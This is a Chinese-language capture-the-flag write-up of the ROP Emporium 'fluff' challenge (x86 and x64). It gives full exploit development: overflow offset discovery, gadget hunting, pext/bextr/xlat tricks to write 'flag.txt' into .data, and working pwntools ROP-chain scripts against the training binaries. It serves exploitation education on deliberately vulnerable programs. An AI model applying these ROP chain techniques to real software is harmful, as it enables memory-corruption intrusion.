其他
Writeup-ROP Emporium fluff
本文为看雪论坛优秀文章
看雪论坛作者ID:starrQWQ
一
fluff32
信息收集
$ file fluff32
fluff32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6da69ceae0128f63bb7160ba66f9189a126fdd86, not stripped
$ ldd fluff32
linux-gate.so.1 (0xf7f11000)
libfluff32.so => ./libfluff32.so (0xf7f09000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d16000)
/lib/ld-linux.so.2 (0xf7f12000)
$ checksec libfluff32.so
[*] '/home/starr/Documents/CProject/pwn/libfluff32.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
$ readelf -S fluff32 | grep .data
[16] .rodata PROGBITS 080485d8 0005d8 000014 00 A 0 0 4
[24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4
黑盒测试
$ ulimit -c unlimited
$ sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern'
$ cyclic 200 > cyclic.txt
$ ./fluff32 < cyclic.txt
fluff by ROP Emporium
x86
You know changing these strings means I have to rewrite my solutions...
> Thank you!
Segmentation fault (core dumped)
$ gdb ./fluff32 fluff32.core.9153
...
Core was generated by `./fluff32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x6161616c in ?? ()
pwndbg> cyclic -l 0x6161616c
44
反汇编
$ objdump -d -M intel fluff32
080483b0 <pwnme@plt>:
080483d0 <print_file@plt>:
08048506 <main>:
8048506: 8d 4c 24 04 lea ecx,[esp+0x4]
804850a: 83 e4 f0 and esp,0xfffffff0
...
8048514: 83 ec 04 sub esp,0x4
8048517: e8 94 fe ff ff call 80483b0 <pwnme@plt>
...
0804852a <usefulFunction>:
804852a: 55 push ebp
804852b: 89 e5 mov ebp,esp
804852d: 83 ec 08 sub esp,0x8
8048530: 83 ec 0c sub esp,0xc
8048533: 68 e0 85 04 08 push 0x80485e0
8048538: e8 93 fe ff ff call 80483d0 <print_file@plt>
...
08048543 <questionableGadgets>:
8048543: 89 e8 mov eax,ebp
8048545: bb ba ba ba b0 mov ebx,0xb0bababa
804854a: c4 e2 62 f5 d0 pext edx,ebx,eax
804854f: b8 ef be ad de mov eax,0xdeadbeef
8048554: c3 ret
8048555: 86 11 xchg BYTE PTR [ecx],dl
8048557: c3 ret
8048558: 59 pop ecx
8048559: 0f c9 bswap ecx
804855b: c3 ret
$ objdump -d -M intel libfluff32.so
0000069d <pwnme>:
...
6ed: 6a 20 push 0x20
6ef: 6a 00 push 0x0
6f1: 8d 45 d8 lea eax,[ebp-0x28]
6f4: 50 push eax
6f5: e8 86 fe ff ff call 580 <memset@plt>
...
724: 68 00 02 00 00 push 0x200
729: 8d 45 d8 lea eax,[ebp-0x28]
72c: 50 push eax
72d: 6a 00 push 0x0
72f: e8 cc fd ff ff call 500 <read@plt>
...
0000074f <print_file>:
...
772: ff 75 08 push DWORD PTR [ebp+0x8]
775: e8 f6 fd ff ff call 570 <fopen@plt>
...
ROP chain
pwndbg> rop --grep "mov"
...
0x080484e7 : mov al, byte ptr [0xc9010804] ; ret
0x0804846d : mov al, byte ptr [0xd0ff0804] ; add esp, 0x10 ; leave ; ret
0x080484ba : mov al, byte ptr [0xd2ff0804] ; add esp, 0x10 ; leave ; ret
0x080484e4 : mov byte ptr [0x804a020], 1 ; leave ; ret
0x0804854f : mov eax, 0xdeadbeef ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x0804837d : mov edi, 0x81000000 ; ret
0x0804847a : mov esp, 0x27 ; add bl, dh ; ret
pwndbg> rop --grep "pop"
...
0x08048525 : pop ebp ; lea esp, [ecx - 4] ; ret
0x080485bb : pop ebp ; ret
0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048399 : pop ebx ; ret
0x08048558 : pop ecx ; bswap ecx ; ret
0x08048524 : pop ecx ; pop ebp ; lea esp, [ecx - 4] ; ret
0x080485ba : pop edi ; pop ebp ; ret
0x080485b9 : pop esi ; pop edi ; pop ebp ; ret
0x08048527 : popal ; cld ; ret
pwndbg> rop --grep "xchg"
0x08048553 : faddp st(3) ; xchg byte ptr [ecx], dl ; ret
0x08048552 : lodsd eax, dword ptr [esi] ; faddp st(3) ; xchg byte ptr [ecx], dl ; ret
0x08048555 : xchg byte ptr [ecx], dl ; ret
不过我用上面的rop, 以及 ropgadget, 都没有搜到这一段。。。尴尬了
pext output(edx), source(ebx), mask(eax)
output = pext(source, mask)
ebx = 0xFFFFFFFF
eax = b1111 0100
->
edx = 0x1F
"flag" == pext(0xb0bababa, mask)
".txt" == pext(0xb0bababa, mask)
def getMask(nValue, nOutput):
# nOutput = pext(nValue, nMask)
# eg.
# nValue = 0xFF
# nMask = 0xF4
# ->
# nOutput = 0x1F
nMask = 0;
nLastBitFoundInValue = 1;
# find the highest valid bit
nInvalidBits = 0;
for i in range(7): # ascii
if (nOutput & (1 << i)) != 0:
nInvalidBits = i
for i in range(nInvalidBits + 1):
while (nOutput & 1) != (nValue & 1):
nLastBitFoundInValue += 1;
if nLastBitFoundInValue == 33: # 4 Bytes
return False;
nValue = nValue >> 1
# found
nOutput = nOutput >> 1
nValue = nValue >> 1
nMask |= 1 << (nLastBitFoundInValue - 1)
nLastBitFoundInValue += 1
return nMask
strEdx = "flag.txt"
nValue = 0xb0bababa
for c in strEdx:
nMask = getMask(nValue, ord(c))
# print(hex(nMask))
padding len 44
for i in range(len("flag.txt"))
pGadgetPopEcx_bswap # 0x08048558 : pop ecx ; bswap ecx ; ret
pDataSection + i # Big Endian pop to ecx
pGadgetPopEbp # 0x080485bb : pop ebp ; ret
nMask # getMask("flag.txt"[i]) pop to ebp
pGadgetPext # 0x08048543 : mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
pGadgetXchg # 0x08048555 : xchg byte ptr [ecx], dl ; ret 把字符写入.data
pPltPrintFile # 0x080483d0
padding # 伪造的返回地址
pDataSection
Exp
from pwn import *
context.arch = "i386"
context.bits = 32
context.os = "linux"
context.log_level = 'debug'
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
def getMask(nValue, nOutput):
# nOutput = pext(nValue, nMask)
# eg.
# nValue = 0xFF
# nMask = 0xF4
# ->
# nOutput = 0x1F
nMask = 0;
nLastBitFoundInValue = 1;
# find the highest valid bit
nInvalidBits = 0;
for i in range(7): # ascii
if (nOutput & (1 << i)) != 0:
nInvalidBits = i
for i in range(nInvalidBits + 1):
while (nOutput & 1) != (nValue & 1):
nLastBitFoundInValue += 1;
if nLastBitFoundInValue == 33: # 4 Bytes
return False;
nValue = nValue >> 1
# found
nOutput = nOutput >> 1
nValue = nValue >> 1
nMask |= 1 << (nLastBitFoundInValue - 1)
nLastBitFoundInValue += 1
return nMask
nBufOverflowIndex = 44
pPltPrintFile = 0x080483d0
pDataSection = 0x0804a018
pGadgetPopEcx_bswap = 0x08048558 # pop ecx ; bswap ecx ; ret
pGadgetPopEbp = 0x080485bb # pop ebp ; ret
pGadgetPext = 0x08048543 # mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
pGadgetXchg = 0x08048555 # xchg byte ptr [ecx], dl ; ret 把字符写入.data
# 1. padding
payload = bytes("A" * nBufOverflowIndex, encoding = "ascii");
# 2. Loop
strEdx = "flag.txt"
nValue = 0xb0bababa
for i in range(len(strEdx)):
nMask = getMask(nValue, ord(strEdx[i]))
# print(hex(nMask))
# 2.1 write .data addr into ecx
payload += p32(pGadgetPopEcx_bswap) # 0x08048558 : pop ecx ; bswap ecx ; ret
payload += p32(pDataSection + i, endianness="big") # Big Endian pop to ecx
# 2.2 write nMask into ebp
payload += p32(pGadgetPopEbp) # 0x080485bb : pop ebp ; ret
payload += p32(nMask) # getMask("flag.txt"[i]) pop to ebp
payload += p32(pGadgetPext) # 0x08048543 : mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
# 2.3 write "flag.txt" into .data
payload += p32(pGadgetXchg) # 0x08048555 : xchg byte ptr [ecx], dl ; ret 把字符写入.data
# 3. print_file("flag.txt")
payload += p32(pPltPrintFile) # 0x080483d0
payload += bytes("B" * int(context.bits/8), encoding = "ascii"); # 伪造的返回地址
payload += p32(pDataSection)
io = getio("./fluff32")
io.recvuntil(">")
# # gdb.attach(io)
# # pause()
io.sendline(payload)
print(io.recv(timeout=10))
io.interactive()
# [DEBUG] Received 0x2c bytes:
# b'Thank you!\n'
# b'ROPE{a_placeholder_32byte_flag!}\n'
# Thank you!
# ROPE{a_placeholder_32byte_flag!}
二
fluff
信息收集
$ readelf -S fluff | grep .data
[15] .rodata PROGBITS 00000000004006c0 000006c0
[23] .data PROGBITS 0000000000601028 00001028
反汇编
$ objdump -d -M intel libfluff.so
00000000000008aa <pwnme>:
...
8eb: 48 8d 45 e0 lea rax,[rbp-0x20]
8ef: ba 20 00 00 00 mov edx,0x20
8f4: be 00 00 00 00 mov esi,0x0
8f9: 48 89 c7 mov rdi,rax
8fc: e8 5f fe ff ff call 760 <memset@plt>
...
91e: 48 8d 45 e0 lea rax,[rbp-0x20]
922: ba 00 02 00 00 mov edx,0x200
927: 48 89 c6 mov rsi,rax
92a: bf 00 00 00 00 mov edi,0x0
92f: e8 3c fe ff ff call 770 <read@plt> read(stdin, rbp-0x20, 0x200)
...
0000000000000943 <print_file>:
943: 55 push rbp
944: 48 89 e5 mov rbp,rsp
947: 48 83 ec 40 sub rsp,0x40
94b: 48 89 7d c8 mov QWORD PTR [rbp-0x38],rdi
94f: 48 c7 45 f8 00 00 00 mov QWORD PTR [rbp-0x8],0x0
956: 00
957: 48 8b 45 c8 mov rax,QWORD PTR [rbp-0x38]
95b: 48 8d 35 f4 00 00 00 lea rsi,[rip+0xf4] # a56 <_fini+0x86>
962: 48 89 c7 mov rdi,rax
965: e8 36 fe ff ff call 7a0 <fopen@plt>
...
$ objdump -d -M intel fluff
0000000000400500 <pwnme@plt>:
...
0000000000400510 <print_file@plt>:
...
0000000000400607 <main>:
...
40060b: e8 f0 fe ff ff call 400500 <pwnme@plt>
0000000000400617 <usefulFunction>:
...
40061b: bf c4 06 40 00 mov edi,0x4006c4
400620: e8 eb fe ff ff call 400510 <print_file@plt>
0000000000400628 <questionableGadgets>:
400628: d7 xlat BYTE PTR ds:[rbx]
400629: c3 ret
40062a: 5a pop rdx
40062b: 59 pop rcx
40062c: 48 81 c1 f2 3e 00 00 add rcx,0x3ef2
400633: c4 e2 e8 f7 d9 bextr rbx,rcx,rdx
400638: c3 ret
400639: aa stos BYTE PTR es:[rdi],al
40063a: c3 ret
40063b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
ROP chain
pwndbg> rop --grep "pop"
...
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
al = byte ptr [rbx+al]
0x40062a : pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;
bextr output, 0xd23aacda, 0x59
Input : 11010010001110101010110011011010 = 0xd23aacda
|-------|
\
\
v
|-------|
Output: 00000000000000000000000101100110 = 0x00000166
flag.txt各个字符,可以在elf文件中找,而不是由栈中的payload提供。
0x40062a : pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret; 满足[rbx+al]这个地址存有目标字符,可以实现一个SetRbxToAddr函数
rdx
rcx
0x400628: xlat BYTE PTR ds:[rbx]; ret al保存目标字节,比如"f", 可以实现一个SetAlToByte函数
0x00000000004006a3 : pop rdi ; ret
0x0000000000601028 .data地址
400639: stos BYTE PTR es:[rdi],al 往.data逐字节写入字符串"flag.txt" rdi可以自动递增
调试分析
# coding:utf-8
from pwn import *
context.arch = "amd64"
context.bits = 64
context.os = "linux"
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
nBufOverflowIndex = 0x28
pPltPrintFile = 0x0000000000400510
pGadgetBextrToSetRbx = 0x40062a
pGadgetXlatToSetAl = 0x400628
pGadgetPopRdi = 0x00000000004006a3
pGadgetStos = 0x400639
pDataSection = 0x0000000000601028
g_byAlWhenFirstXlat = 0x00 # 和xlat指令有关,这里需要调试一下,看当时的al值为多少
def setRbxToAddr(pTargetAddr, rop):
rdx = ((2**6)<<8) | 0x00 # rcx: start 0, len 64
rcx = pTargetAddr
rop.raw(pGadgetBextrToSetRbx)
rop.raw(rdx)
rop.raw(rcx - 0x3ef2) # add rcx, 0x3ef2;
def setAlToByte(byTarget, rop, elf, byRealTimeAl):
pTargetByteAddr = next(elf.search(byTarget))
pTargetRbx = pTargetByteAddr - byRealTimeAl
setRbxToAddr(pTargetRbx, rop)
rop.raw(pGadgetXlatToSetAl) # xlat BYTE PTR ds:[rbx]; --> al = [rbx+al]
program = "./fluff"
io = getio(program)
elf = ELF(program)
rop = ROP(program)
padding = b"A" * nBufOverflowIndex
rop.raw(pGadgetPopRdi)
rop.raw(pDataSection)
strFlagTxt = "flag.txt"
byRealTimeAl = g_byAlWhenFirstXlat
c = strFlagTxt[0]
setAlToByte(c, rop, elf, byRealTimeAl)
payload = b"".join([
padding,
rop.chain()
])
io.recvuntil(">")
gdb.attach(io)
pause()
io.sendline(payload)
print(io.recv(timeout=10))
io.interactive()
RAX 0xb !!!!!!!!!!!!!!!!!!!!!!
RBX 0x0
RCX 0x0
RDX 0x0
RDI 0x1
RSI 0x7f4c211f17e3 (_IO_2_1_stdout_+131) ◂— 0x1f28c0000000000a /* '\n' */
R8 0xa
R9 0x7f4c21605740 ◂— 0x7f4c21605740
R10 0x4
R11 0x246
R12 0x400520 (_start) ◂— xor ebp, ebp
R13 0x7ffde43196a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x4141414141414141 ('AAAAAAAA')
*RSP 0x7ffde43195d8 —▸ 0x7ffde431960a ◂— 0x7ffde431
*RIP 0x400628 (questionableGadgets) ◂— xlatb
─────────[ DISASM ]───────────────
0x40062a <questionableGadgets+2> pop rdx
0x40062b <questionableGadgets+3> pop rcx
0x40062c <questionableGadgets+4> add rcx, 0x3ef2
0x400633 <questionableGadgets+11> bextr rbx, rcx, rdx
0x400638 <questionableGadgets+16> ret
↓
► 0x400628 <questionableGadgets> xlatb
0x400629 <questionableGadgets+1> ret
*RAX 0x66 !!!!!!!!!!!!!!!!!!!!!!
RBX 0x4003b9 ◂— add byte ptr [rax], al
RCX 0x4003b9 ◂— add byte ptr [rax], al
RDX 0x4000
...
─────────────────────────────[ DISASM ]─────────────────────
0x40062b <questionableGadgets+3> pop rcx
0x40062c <questionableGadgets+4> add rcx, 0x3ef2
0x400633 <questionableGadgets+11> bextr rbx, rcx, rdx
0x400638 <questionableGadgets+16> ret
↓
0x400628 <questionableGadgets> xlatb
► 0x400629 <questionableGadgets+1> ret <0x7ffc3bdc900a>
padding 溢出点0x28字节
pGadgetPopRdi 0x00000000004006a3 pop rdi ; ret rdi后面用不到,在循环之前就存好.data section地址
pDataSection
for c in "flag.txt":
pGadgetBextrToSetRbx 0x40062a : pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;
满足[rbx+al]==c,可以实现一个SetRbxToAddr函数
rdx bextr命令的掩码
rcx c的地址-0x3ef2
pGadgetXlatToSetAl 0x400628: xlat BYTE PTR ds:[rbx]; ret
al保存目标字节c。可以实现一个SetAlToByte函数。注意payload里的al要实时更新
pGadgetStos 400639: stos BYTE PTR es:[rdi],al 往.data逐字节写入字符串"flag.txt" rdi可以自动递增
pGadgetPopRdi
pDataSection
pPltPrintFile 0x0000000000400510 print_file("flag.txt")
Exp
# coding:utf-8
from pwn import *
context.arch = "amd64"
context.bits = 64
context.os = "linux"
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
nBufOverflowIndex = 0x28
pPltPrintFile = 0x0000000000400510
pGadgetBextrToSetRbx = 0x40062a # pop rdx;
# pop rcx;
# add rcx, 0x3ef2;
# bextr rbx, rcx, rdx;
# ret;
# 满足[rbx+al]这个地址存有目标字符,可以用SetRbxToAddr函数实现
pGadgetXlatToSetAl = 0x400628 # xlat BYTE PTR ds:[rbx]; --> al = [rbx+al]
# al保存目标字节,比如"f", 可以用SetAlToByte函数实现
pGadgetPopRdi = 0x00000000004006a3 # pop rdi ; ret
pGadgetStos = 0x400639 # stos BYTE PTR es:[rdi],al 往.data逐字节写入字符串"flag.txt"
pDataSection = 0x0000000000601028 # .data地址
g_byRealTimeAlWhenFirstXlat = 0xb # 和xlat指令有关这里需要调试一下,看当时的al值为多少
def setRbxToAddr(pTargetAddr, rop):
rdx = ((2**6)<<8) | 0x00 # rcx: start 0, len 64
rcx = pTargetAddr
rop.raw(pGadgetBextrToSetRbx)
rop.raw(rdx)
rop.raw(rcx - 0x3ef2) # add rcx, 0x3ef2;
def setAlToByte(byTarget, rop, elf, byRealTimeAl):
# 2.1 set rbx to addr
pTargetByteAddr = next(elf.search(byTarget))
pTargetRbx = pTargetByteAddr - byRealTimeAl
setRbxToAddr(pTargetRbx, rop)
# 2.2 set al to the byte of "flag.txt"
rop.raw(pGadgetXlatToSetAl) # xlat BYTE PTR ds:[rbx]; --> al = [rbx+al]
program = "./fluff"
io = getio(program)
elf = ELF(program)
rop = ROP(program)
# 1. buf overflow
padding = b"A" * nBufOverflowIndex
# 2. write "flag.txt" into .data section
# 2.1 rdi not used later
rop.raw(pGadgetPopRdi)
rop.raw(pDataSection)
strFlagTxt = "flag.txt"
byRealTimeAl = g_byRealTimeAlWhenFirstXlat # al的初始值
for c in strFlagTxt:
setAlToByte(c, rop, elf, byRealTimeAl)
byRealTimeAl = ord(c) # 更新al
rop.raw(pGadgetStos)
# 4. print_file("flag.txt")
rop.raw(pGadgetPopRdi)
rop.raw(pDataSection)
rop.raw(pPltPrintFile)
payload = b"".join([
padding,
rop.chain()
])
io.recvuntil(">")
# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
io.interactive()
# Thank you!
# ROPE{a_placeholder_32byte_flag!}
参考资料
看雪ID:starrQWQ
https://bbs.pediy.com/user-home-845133.htm
# 往期推荐
4.CVE-2022-21999 Windows Print Spooler 权限提升漏洞分析
6.The House of Mind (FASTBIN METHOD) + PRIME
球分享
球点赞
球在看
点击“阅读原文”,了解更多!